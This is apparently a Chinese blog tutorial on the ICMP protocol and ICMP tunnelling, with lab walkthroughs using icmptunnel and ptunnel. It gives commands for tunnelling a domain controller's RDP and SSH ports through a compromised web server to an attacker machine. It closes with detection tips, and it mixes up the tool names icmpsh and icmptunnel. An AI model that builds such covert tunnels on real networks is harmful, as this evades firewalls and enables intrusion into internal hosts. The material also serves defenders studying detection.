浅析Icmp原理及隐蔽攻击的方式
一、ICMP隧道技术解析
1.icmp协议
Internet Control Message Protocol Internet控制报文协议。它是TCP/IP协议簇的一个子协议,用于在IP主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用于网络本身的消息。这些控制消息虽然并不传输用户数据,但是对于用户数据的传递起着重要的作用
ICMP协议主要提供两种功能,
一种是差错报文,一种是信息类报文。信息类报文包括回显请求和回显应答,以及路由器通告和路由器请求。常见的差错报文类型包括目的不可达、重定向、超时和参数问题。
主要特点:
确认IP数据包是否成功到达目的地
通知源主机发送IP数据包丢失的原因
ICMP是基于IP协议工作的
ICMP只能作用于IPV4,IPV6下,使用ICMPv6
报文格式:
ping一下8.8.8.8,然后使用wireshark进行抓包看看。
过程:ping 命令使用了两个ICMP 报文
1、向目标服务器发送回送请求
首先,向目标服务器发出回送请求(类型是8,代码是0)报文。在这个回送请求报文里,除了类型和代码字段,还被追加了标识符和序号字段。标识符和序号字段分别是16 位的字段。ping 命令在发送回送请求报文时,在这两个字段里填入任意的值。对于标识符,应用程序执行期间送出的所有报文里填入相同的值。对于序号,每送出一个报文数值就增加1。而且,回送请求的选项数据部分用来装任意数据。这个任意数据用来调整ping 的交流数据包的大小。
2、返回的回应,做出答复。
计算机送出的回送请求到达目标服务器后,服务器回答这一请求,向送信方发送回送请求(类型是0,代码是0)。这个ICMP 回送回答报文在IP 层来看,与被送来的回送请求报文基本上一样。不同的只是,源和目标IP 地址字段被交换了,类型字段里填入了表示回送回答的0。也就是,从送信方来看,自己送出的ICMP 报文从目标服务器那里象鹦鹉学舌那样原样返回了。
送信方的计算机可以通过收到回送回答报文,来确认目标服务器在工作着。进一步,记住发送回送请求报文的时间,与接收到回送回答报文的时间一比较,就能计算出报文一去一回往复所需要的时间。但是,收到的回送回答报文里写的只是类型和代码的话,发送方计算机将无法判断它是否是自己发出去请求的回答。因此,前面说到的标识符和序号字段就有它的意义了。将这两个值与回送回答报文中的相同字段值一比较,送行方计算机就能够简单地检测回送回答是否正确了。执行ping 命令而调查的结果没什么问题的话,就将目标服务器的IP 地址,数据大小,往复花费的时间打印到屏幕上。
2、ICMP隧道
(1)原理:
由于ICMP报文自身可以携带数据,而且ICMP报文是由系统内核处理的,不占用任何端口,因此具有很高的隐蔽性
通常ICMP隧道技术采用ICMP的ICMP_ECHO和ICMP_ECHOREPLY两种报文,把数据隐藏在ICMP数据包包头的选项域中,利用ping命令建立隐蔽通道。简单说就是,改变操作系统默认填充的Data,替换成我们自己的数据。
所以现在的ICMP隧道技术,基本采用修改ICMPECHO和ICMPECHOREPLY两种报文,把消息隐藏在数据中,利用ping或 tracert 命令建立隐蔽通道。
优缺点
优点:
防火墙对ICMP_ECHO数据包是放行的,并且内部主机不会检查ICMP数据包所携带的数据内容,隐蔽性高
缺点:
ICMP隐蔽传输是无连接的,传输不是很稳定,而且隐蔽通道的带宽很低
利用隧道传输时,需要接触更低层次的协议 ,这就需要高级用户权限。
二、隧道搭建
方法1:使用icmpsh搭建
1.首先使用git下载:https://github.com/jamesbarlow/icmptunnel
2.然后安装依赖库,apt-get install python3-impacket
3.使用sysctl -w net.ipv4.icmp_echo_ignore_all=1 ,将icmp的程序替换
4.输入./run.sh启用
5.输入目标ip
6.成功连接。
7.查看目录。
方法2:pingtunnel
1.在官网进行下载:http://freshmeat.sourceforge.net/projects/ptunnel/
2.进入文件目录,然后使用make && make install 进行编译安装。
3.然后安装缺少的依赖文件pcap.h.
4.使用tar命令进行解压。
5.然后使用ptunnel -x 进行测试。
下面是我用win7做边界web服务器,然后把内网的域控3389端口转发到外网的kali上面。
这是win7的内外网ip
win7内网ip:1.1.1.11
外网ip:192.168.2.183
windos也可使用此工具,不过需要在内网windows机器上安装wincap类库。
域内主机:winserver12:1.1.1.2
攻击机IP:192.168.2.181
kali的IP
-x 指定ICMP隧道连接的密码 -lp 指定要监听的本地TCP端口 -da 指定要转发的目标机的IP -dp 指定要转发的目标机的TCP端口 -p 指定ICMP另一端机器的IP
攻击机开启隧道 ptunnel -x abc
实验过程:在跳板机执行 ptunnel -x 密码
在目标机执行:
windows版本
ptunnel -p 192.168.1.4 -lp 1080 -da 1.1.1.2 -dp 3389 -x abc
然后使用远程连接:
rdesktop -g 1440x900 -u saul -p saul 127.0.0.1:1080
linux版本:
连接22端口
ptunnel -p x.x.x.x -lp 1080 -da x.x.x.x -dp 22 -x abc
三防御ICMP隧道攻击的方式:
1、检测同一源的ICMP数据包的流量。一个ping命令每秒发送2个数包,而使用ICMP隧道的浏览器会发送上千个ICMP数据包
2、注意那些payload大于64bit的ICMP数据包
3、寻找响应数据包的payload与请求数据包的payload不一致的ICMP数据包
4、检查ICMP数据包的协议与标签。例如,icmptunnel会在所有的ICMP payload前添加”TUNL”标记来识别隧道。
总结:
这篇文章主要简单分析了一下Icmp协议的简单通信原理以及ICmp通信过程,还包含了使用icmpsh和pingtunnel这2种工具进行建立隐藏隧道进行隐蔽攻击。
- 点赞
- 收藏
- 关注作者
评论(0)